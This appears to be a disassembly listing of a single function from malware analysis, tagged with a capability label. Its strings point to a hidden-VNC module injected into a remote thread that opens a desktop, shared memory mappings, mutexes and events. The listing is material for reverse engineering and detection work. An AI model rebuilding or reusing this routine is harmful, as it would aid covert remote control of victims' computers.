Function at 0xe1b280
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push 4
push 0x1000
push 0xeec
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0xe28cb8], eax
cmp dword [0xe28cb8], 0
jne 0xe1b2de
push 0x25666273
push 0x15
push 0xe2480c
call fcn.00e117f0
add esp, 0xc
push eax
push 2
push 0xa7
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.00e11920
add esp, 0x14
jmp 0xe1bb6f
mov byte [0xe28a37], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x65162757
push 0xa
push 0xe2487c
call fcn.00e117f0
add esp, 0xc
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0xe1b326
mov byte [0xe28a37], 1
mov edx, dword [0xe28cb8]
mov al, byte [0xe295d0]
mov byte [edx + 0xc94], al
movzx ecx, byte [0xe295d0]
test ecx, ecx
je 0xe1b357
mov edx, dword [0xe28cb8]
add edx, 0xc74
push edx
call fcn.00e14760
add esp, 4
mov eax, dword [0xe28cb8]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x7fc], ecx
mov edx, dword [0xe28cb8]
push edx
call fcn.00e1f2e0
add esp, 4
mov eax, dword [0xe28cb8]
add eax, 0x800
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x1c], eax
push 0
push 0
push 0
push 0xf001f
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x20], eax
mov edx, dword [0xe28cb8]
cmp dword [edx + 0x20], 0
jne 0xe1b3f8
push 0xae9ed5d5
push 0x14
push 0xe24888
call fcn.00e117f0
add esp, 0xc
push eax
push 2
push 0xbf
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.00e11920
add esp, 0x14
jmp 0xe1bb6f
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x20]
mov edx, dword [0xe28cb8]
mov eax, dword [ecx + 0x186]
mov dword [edx + 0x30], eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x20]
add edx, 0x122
push edx
mov eax, dword [0xe28cb8]
add eax, 0x34
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x20]
movzx eax, byte [edx + 0x192]
push eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x20]
mov eax, dword [edx + 0x18a]
push eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x20]
mov eax, dword [edx + 0x18e]
push eax
mov ecx, dword [0xe28cb8]
push ecx
call fcn.00e1ea80
add esp, 0x10
push 0x80000000
push 0
push 0
mov edx, dword [0xe28cb8]
add edx, 0x34
push edx
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x18], eax
mov edx, dword [0xe28cb8]
mov byte [edx + 0xf], 1
mov eax, dword [0xe28cb8]
add eax, 0x968
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x23c], eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ebp - 0x23c]
mov dword [ecx + 0x76c], edx
cmp dword [ebp - 0x23c], 0
je 0xe1b5bf
mov eax, dword [0xe28cb8]
add eax, 0x9e0
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x240], eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ebp - 0x240]
mov dword [ecx + 0x770], edx
cmp dword [ebp - 0x240], 0
je 0xe1b5bf
mov eax, dword [0xe28cb8]
add eax, 0x8f0
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x244], eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ebp - 0x244]
mov dword [ecx + 0x774], edx
cmp dword [ebp - 0x244], 0
je 0xe1b5bf
mov eax, dword [0xe28cb8]
add eax, 0xad0
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x248], eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ebp - 0x248]
mov dword [ecx + 0x77c], edx
cmp dword [ebp - 0x248], 0
je 0xe1b5bf
mov eax, dword [0xe28cb8]
add eax, 0xa58
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x24c], eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ebp - 0x24c]
mov dword [ecx + 0x780], edx
cmp dword [ebp - 0x24c], 0
jne 0xe1b631
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x780]
push ecx
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x77c]
push eax
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x774]
push edx
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x770]
push ecx
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x76c]
push eax
push 0x20be2c28
push 0x7e
push 0xe248a0
call fcn.00e117f0
add esp, 0xc
push eax
push 2
push 0xd7
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.00e11920
add esp, 0x28
jmp 0xe1bb6f
call fcn.00e1f560
push 0x4000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call fcn.00e1c1d0
mov dword [ebp - 0x20c], eax
push 0xffffffffffffffff
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x770]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0xe28cb8]
add eax, 0x878
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x28], eax
push 0
push 0
push 0
push 0xf001f
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x2c], eax
mov edx, dword [0xe28cb8]
cmp dword [edx + 0x2c], 0
jne 0xe1b70e
push 0x34a6809d
push 0x17
push 0xe24920
call fcn.00e117f0
add esp, 0xc
push eax
push 2
push pe_nt_image_headers32
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.00e11920
add esp, 0x14
mov eax, dword [ebp - 0x20c]
push eax
call fcn.00e11ba0
add esp, 4
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x770]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0xe1bb6f
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x770]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x20]
cmp dword [eax + 0x118], 0
jne 0xe1b73c
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0xe1b720
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x7d8], eax
movzx edx, byte [0xe28a36]
test edx, edx
jne 0xe1b7fe
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x20]
mov edx, dword [ecx + 0x118]
cmp edx, dword [0xe28ccc]
jne 0xe1b7fe
push 0x52668974
push 0xf
push 0xe24938
call fcn.00e117f0
add esp, 0xc
push eax
push 0x27a2c99e
push 7
push 0xe24948
call fcn.00e117f0
add esp, 0xc
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [ebp - 0x210], eax
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x210], 0
je 0xe1b777
push 0
push 0xd4139b3b
push 0x10
push 0xe24950
call fcn.00e117f0
add esp, 0xc
push eax
mov eax, dword [ebp - 0x210]
push eax
call fcn.00e1dff0
add esp, 0xc
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x7e8], eax
call fcn.00e1cb40
call fcn.00e1f4d0
mov edx, dword [0xe28cb8]
mov dword [edx + 0x744], 0
push 0
mov eax, dword [0xe28cb8]
push eax
call fcn.00e1eb30
add esp, 8
call fcn.00e1f420
push 0
push 0xf418d158
push 0xd
push 0xe24964
call fcn.00e117f0
add esp, 0xc
push eax
push 0
call fcn.00e1dff0
add esp, 0xc
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x7e0], eax
movzx edx, byte [0xe28a36]
test edx, edx
jne 0xe1b88c
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x20]
mov edx, dword [ecx + 0x118]
cmp edx, dword [0xe28ccc]
jne 0xe1b88c
push 0
push 2
push 0x574
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x7e0]
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0x4b9d7ce8
push 0x18
push 0xe24974
call fcn.00e117f0
add esp, 0xc
push eax
push 0
call fcn.00e1dff0
add esp, 0xc
mov edx, dword [0xe28cb8]
mov dword [edx + 0x7ec], eax
movzx eax, byte [0xe295d1]
test eax, eax
je 0xe1b8f2
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x30]
and edx, 0x20
jne 0xe1b8f2
push 0
push 0
push 0
push 0xe1b040
push 0
push 0
call fcn.00e14510
add esp, 0x18
push eax
call fcn.00e11ba0
add esp, 4
push 0xffffffffffffffff
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x77c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x20]
add eax, 0x199
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x218], 0
jmp 0xe1b935
mov ecx, dword [ebp - 0x218]
add ecx, 1
mov dword [ebp - 0x218], ecx
cmp dword [ebp - 0x218], 0x190
jae 0xe1b98c
mov edx, dword [ebp - 0x218]
imul edx, edx, 0x18
mov eax, dword [ebp - 0x214]
cmp dword [eax + edx + 8], 0
jne 0xe1b98a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x218]
imul ecx, ecx, 0x18
mov edx, dword [ebp - 0x214]
mov dword [edx + ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x218]
imul ecx, ecx, 0x18
mov edx, dword [ebp - 0x214]
mov dword [edx + ecx + 8], eax
jmp 0xe1b98c
jmp 0xe1b926
mov eax, dword [0xe28cb8]
mov ecx, dword [eax + 0x77c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x30]
and eax, 0x800
jne 0xe1b9fb
movzx ecx, byte [0xe28a36]
test ecx, ecx
jne 0xe1b9c5
call dword [sym.imp.UxTheme.dll_GetThemeAppProperties]
mov dword [ebp - 0x21c], eax
push 0
call dword [sym.imp.UxTheme.dll_SetThemeAppProperties]
movzx edx, byte [0xe28a36]
test edx, edx
jne 0xe1b9e5
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.UxTheme.dll_SetThemeAppProperties]
push 0
push 0xe1b260
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.00e23110
add esp, 0xc
push 1
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x774]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0xe1bb6f
lea eax, [ebp - 0x238]
push eax
call fcn.00e22e20
add esp, 4
test eax, eax
je 0xe1bb6a
cmp dword [ebp - 0x234], 5
jne 0xe1bb59
mov ecx, dword [0xe28cb8]
mov edx, dword [0xe29568]
mov eax, dword [ecx + 0x9c]
cmp eax, dword [edx + 0x25f8]
jne 0xe1ba77
mov ecx, dword [0xe28cb8]
mov edx, dword [0xe29568]
mov eax, dword [ecx + 0x9c]
cmp eax, dword [edx + 0x25fc]
je 0xe1bb59
cmp dword [ebp - 0x230], 0
jne 0xe1bacc
mov ecx, dword [0xe28cb8]
cmp dword [ecx + 0x28], 0
je 0xe1bac7
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [0xe28cb8]
mov edx, dword [ecx + 0x28]
push edx
call fcn.00e11ba0
add esp, 4
mov eax, dword [0xe28cb8]
mov dword [eax + 0x28], 0
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x2c], 0
jmp 0xe1bb59
mov edx, dword [0xe28cb8]
add edx, 0x878
push edx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x28], eax
push 0
push 0
push 0
push 0xf001f
mov edx, dword [0xe28cb8]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0xe28cb8]
mov dword [ecx + 0x2c], eax
mov edx, dword [0xe29568]
movzx eax, byte [edx + 0x2600]
push eax
mov ecx, dword [0xe29568]
mov edx, dword [ecx + 0x25f8]
push edx
mov eax, dword [0xe29568]
mov ecx, dword [eax + 0x25fc]
push ecx
mov edx, dword [0xe28cb8]
push edx
call fcn.00e1ea80
add esp, 0x10
push 0
mov eax, dword [0xe28cb8]
push eax
call fcn.00e1eb30
add esp, 8
push 0
lea ecx, [ebp - 0x238]
push ecx
call fcn.00e23020
add esp, 8
jmp 0xe1b9fb
mov esp, ebp
pop ebp
ret 4